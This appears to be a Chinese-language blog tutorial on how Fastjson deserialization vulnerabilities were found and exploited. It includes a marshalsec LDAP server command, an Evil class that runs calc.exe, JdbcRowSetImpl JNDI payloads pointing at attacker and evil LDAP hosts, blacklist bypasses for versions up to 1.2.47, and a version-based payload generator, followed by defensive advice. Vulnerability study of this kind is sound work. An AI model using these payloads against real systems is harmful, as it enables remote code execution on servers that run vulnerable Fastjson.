Fastjson反序列化漏洞分析:挖掘思维与研究方法

致谢

首先,感谢我的小迪老师的指导与启发,让我有机会深入学习这个经典漏洞案例理解前辈们的安全研究思路。

引言

当分析一个广泛使用的库时,我们应该思考:为什么一个JSON解析库需要这么多特殊功能?

大多数JSON库只做一件事:把JSON字符串转成对象,或者反过来。但Fastjson不同,它实现了更多功能。作为学习者,我们需要理解那些发现Fastjson漏洞的前辈们的研究方法。

下面我们一起分析这个经典漏洞的发现过程。

1. 识别关键功能点

安全研究人员通常会关注特殊的功能点。在Fastjson中,一个明显的特殊功能是@type属性。

// 来自Fastjson文档的示例
String json = "{\"@type\":\"com.example.Model\",\"id\":1}";
Object obj = JSON.parseObject(json);

研究人员的思考过程:

  1. "这个@type是什么?它允许在JSON中直接指定要创建的Java类?"
  2. "如果我控制了这个属性,我能创建任何类的实例吗?"
  3. "如果能创建任意类,那我能否触发危险代码?"

从迪老师的课程里了解到安全研究者立刻识别出这里存在反序列化风险。从JSON字符串直接指定要创建的Java类是一个危险信号,因为它可能允许创建并初始化任意类。

2. 分析源码,跟踪关键路径

发现可疑功能后,研究者会立刻深入源码,寻找关键路径。要理解源码,研究者会设置关键断点:

com.alibaba.fastjson.parser.DefaultJSONParser.parseObject()
com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer.deserialze()
com.alibaba.fastjson.util.TypeUtils.loadClass()

通过调试,研究者确认了以下关键流程:

// 简化版的处理流程
public Object parse() {
    // 解析JSON对象开始
    if (lexer.token() == JSONToken.LBRACE) {
        return parseObject(...);
    }
}

public Object parseObject(...) {
    // 解析字段
    String key = lexer.stringVal();
    
    // 检查特殊字段@type
    if (key.equals(JSON.DEFAULT_TYPE_KEY)) {  // DEFAULT_TYPE_KEY = "@type"
        String typeName = lexer.stringVal();
        
        // 加载用户指定的类!
        Class clazz = TypeUtils.loadClass(typeName);
        // 创建实例并设置属性...
    }
}

这里的关键发现是:Fastjson会尝试加载@type指定的任何类,并创建其实例!

3. 验证漏洞假设

安全研究者需要验证自己的猜测。他们创建了一个简单的测试类:

// 测试类
public class EvilObject {
    private String cmd;
    
    public EvilObject() {
        System.out.println("EvilObject构造函数被调用!");
    }
    
    public void setCmd(String cmd) {
        this.cmd = cmd;
        try {
            // 危险操作:执行系统命令
            Runtime.getRuntime().exec(cmd);
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

然后编写测试代码:

String json = "{\"@type\":\"com.test.EvilObject\",\"cmd\":\"calc\"}";
Object obj = JSON.parseObject(json);

执行后,计算器弹出! 这证实了三点:

  1. Fastjson会加载@type指定的类
  2. 创建该类的实例
  3. 调用setter方法设置属性

关键洞察: Fastjson会调用setter方法,而不只是设置字段。这是漏洞利用的核心,因为setter方法可以包含任意代码!

4. 寻找可利用的类

验证了漏洞存在后,安全研究者面临一个问题:在真实攻击中,目标系统不太可能有我们自定义的EvilObject类。

我们需要寻找JDK或常见库中的类,这些类需要满足:

  1. 包含危险操作的setter方法
  2. 这些操作可以被外部输入控制

研究人员的搜索方法:

  1. 聚焦危险APIRuntime.exec(), ProcessBuilder, JNDI查找
  2. 逆向追踪:从危险API反向寻找可到达的setter方法
  3. 利用已知模式:许多Java反序列化漏洞有类似模式

经过搜索,安全研究者锁定了目标:com.sun.rowset.JdbcRowSetImpl类。分析其源码:

// JdbcRowSetImpl关键代码
public void setAutoCommit(boolean autoCommit) throws SQLException {
    // 当conn为null时,调用connect()
    if (this.conn != null) {
        this.conn.setAutoCommit(autoCommit);
    } else {
        this.conn = this.connect();
        this.conn.setAutoCommit(autoCommit);
    }
}

private Connection connect() throws SQLException {
    // 如果设置了dataSourceName,执行JNDI查找
    if (this.getDataSourceName() != null) {
        InitialContext ctx = new InitialContext();
        DataSource ds = (DataSource)ctx.lookup(this.getDataSourceName());
        return ds.getConnection();
    }
    // ...
}

完美的利用链! 通过设置dataSourceName为恶意LDAP URL,然后调用setAutoCommit(),可以触发JNDI查找,实现远程代码执行。

完整的利用链:

  1. Fastjson创建JdbcRowSetImpl实例
  2. 设置dataSourceName为恶意LDAP URL
  3. 设置autoCommit,触发JNDI查找
  4. JNDI查找加载远程代码

5. 构建完整攻击链

一个真正的安全研究者会验证完整的攻击链。这需要:

  1. LDAP服务器
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://your-server:8000/#Evil" 1389
  1. 恶意类
public class Evil {
    static {
        try {
            Runtime.getRuntime().exec("calc.exe");
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}
  1. 攻击载荷
String payload = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"ldap://attacker:1389/Evil\",\"autoCommit\":true}";
Object obj = JSON.parseObject(payload);

成功! 通过Wireshark捕获网络流量,确认了LDAP查询和HTTP请求过程,证明攻击链有效。

6. 研究绕过防御的方法

当漏洞公开后,Fastjson在1.2.25版本采取了两项防御措施:

  1. 默认关闭AutoType功能
  2. 添加类黑名单,阻止JdbcRowSetImpl等危险类

但安全研究者的思维不会停止。他们会问:这些防御是否完备?有没有绕过方法?

6.1 类型描述符绕过(1.2.25-1.2.41版本)

研究者分析Fastjson的黑名单实现:

public Class checkAutoType(String typeName, Class expectClass) {
    // 检查黑名单
    if (typeName.startsWith("com.sun.rowset")) {
        throw new JSONException("不允许的类型");
    }
    
    // 加载类
    return TypeUtils.loadClass(typeName);
}

而在TypeUtils.loadClass()中有这样的代码:

public static Class loadClass(String className) {
    // 处理类型描述符
    if (className.startsWith("L") && className.endsWith(";")) {
        String newClassName = className.substring(1, className.length() - 1);
        return loadClass(newClassName);
    }
    
    // 常规类加载
    return classLoader.loadClass(className);
}

关键发现: 安全检查发生在处理类型描述符之前!使用类型描述符格式(如Lcom.sun.rowset.JdbcRowSetImpl;)可能绕过黑名单检查!

验证绕过:

// 被黑名单拦截
String blocked = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\"}";

// 成功绕过
String bypass = "{\"@type\":\"Lcom.sun.rowset.JdbcRowSetImpl;\"}";

6.2 缓存机制漏洞(1.2.42-1.2.47版本)

随着更多漏洞修复,研究者挖得更深,发现了类缓存机制漏洞。

通过分析源码,发现Fastjson使用了一个类映射缓存:

// TypeUtils中的缓存
private static ConcurrentMap> mappings = new ConcurrentHashMap<>();

// 在ParserConfig.checkAutoType()中,安全检查发生在缓存查找之后
public Class checkAutoType(String typeName, Class expectClass) {
    // 先检查缓存
    Class clazz = TypeUtils.getClassFromMapping(typeName);
    if (clazz != null) {
        return clazz;  // 缓存命中,跳过安全检查!
    }
    
    // 安全检查
    if (typeName.startsWith("com.sun.rowset")) {
        throw new JSONException("不允许的类型");
    }
}

巧妙利用点: 安全检查发生在缓存查找之后!如果类已经在缓存中,将跳过安全检查。

进一步发现,处理java.lang.Class类型时,会向缓存中添加指定类:

// 处理java.lang.Class类型时
if (clazz == Class.class) {
    String className = (String) value;
    Class loadClass = TypeUtils.loadClass(className); // 加载并缓存
    return loadClass;
}

这启发了一个双重反序列化攻击:

// 1.2.47双重反序列化Payload
String payload = 
    "{\"a\":{\"@type\":\"java.lang.Class\",\"val\":\"com.sun.rowset.JdbcRowSetImpl\"}," +
     "\"b\":{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"ldap://evil:1389/Evil\",\"autoCommit\":true}}";

攻击流程:

  1. 处理a,加载com.sun.rowset.JdbcRowSetImpl类并放入缓存
  2. 处理b,发现缓存中已有该类,跳过黑名单检查
  3. 成功创建实例,触发攻击链

7. 针对不同版本的攻击载荷

作为安全研究者,最后会开发通用攻击工具,支持不同版本:

// 根据版本生成对应的payload
if (version.equals("1.2.24") || compareVersion(version, "1.2.24") <= 0) {
    // 1.2.24及之前版本
    payload = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"" 
            + ldapUrl + "\",\"autoCommit\":true}";
    
} else if (compareVersion(version, "1.2.25") >= 0 && compareVersion(version, "1.2.41") <= 0) {
    // 1.2.25至1.2.41版本,使用L;绕过
    payload = "{\"@type\":\"Lcom.sun.rowset.JdbcRowSetImpl;\",\"dataSourceName\":\"" 
            + ldapUrl + "\",\"autoCommit\":true}";
    
} else if (compareVersion(version, "1.2.42") >= 0 && compareVersion(version, "1.2.47") <= 0) {
    // 1.2.42至1.2.47版本,使用缓存漏洞
    payload = "{\"a\":{\"@type\":\"java.lang.Class\",\"val\":\"com.sun.rowset.JdbcRowSetImpl\"},"
            + "\"b\":{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\""
            + ldapUrl + "\",\"autoCommit\":true}}";
}

8. 研究方法总结

回顾整个过程,我们可以提炼出以下研究方法:

  1. 寻找特殊功能点:关注超出核心功能的特性(如@type
  2. 审查关键代码路径:理解用户输入如何影响程序执行
  3. 构建验证方法:用最简单的方式验证漏洞假设
  4. 寻找实用利用链:在标准库或常见依赖中寻找可利用类
  5. 绕过防御措施:分析安全检查逻辑,寻找绕过方法
  6. 深入内部机制:探索更深层次的组件交互(如缓存机制)

这种方法论不仅适用于Fastjson漏洞,也适用于各种反序列化漏洞的挖掘。

9. 防御指南

作为开发者,我们应吸取以下经验:

  1. 使用确定类型
// 安全的做法
User user = JSON.parseObject(jsonString, User.class);
  1. 采用白名单机制
ParserConfig config = new ParserConfig();
config.addAccept("com.your.safe.package.");
  1. 深度防御
// API层过滤可疑内容
if (jsonString.contains("@type") && (jsonString.contains("RowSet") || jsonString.contains("ldap:"))) {
    throw new SecurityException("可能的注入攻击");
}
  1. 定期更新库:使用最新安全版本的Fastjson或考虑替代方案。

总结

Fastjson漏洞系列展示了系统的安全研究方法:

  • 识别特殊功能点
  • 深入分析程序执行流程
  • 寻找防御措施的弱点
  • 研究内部底层机制

通过研究这些漏洞,我们可以学习安全分析的方法论,提高自己的安全研究能力。


参考资料

  • Fastjson官方文档与安全公告
  • Java反序列化漏洞分析与利用链研究
  • 小迪老师Web安全漏洞分析课程

你可能感兴趣的:(json,安全,网络)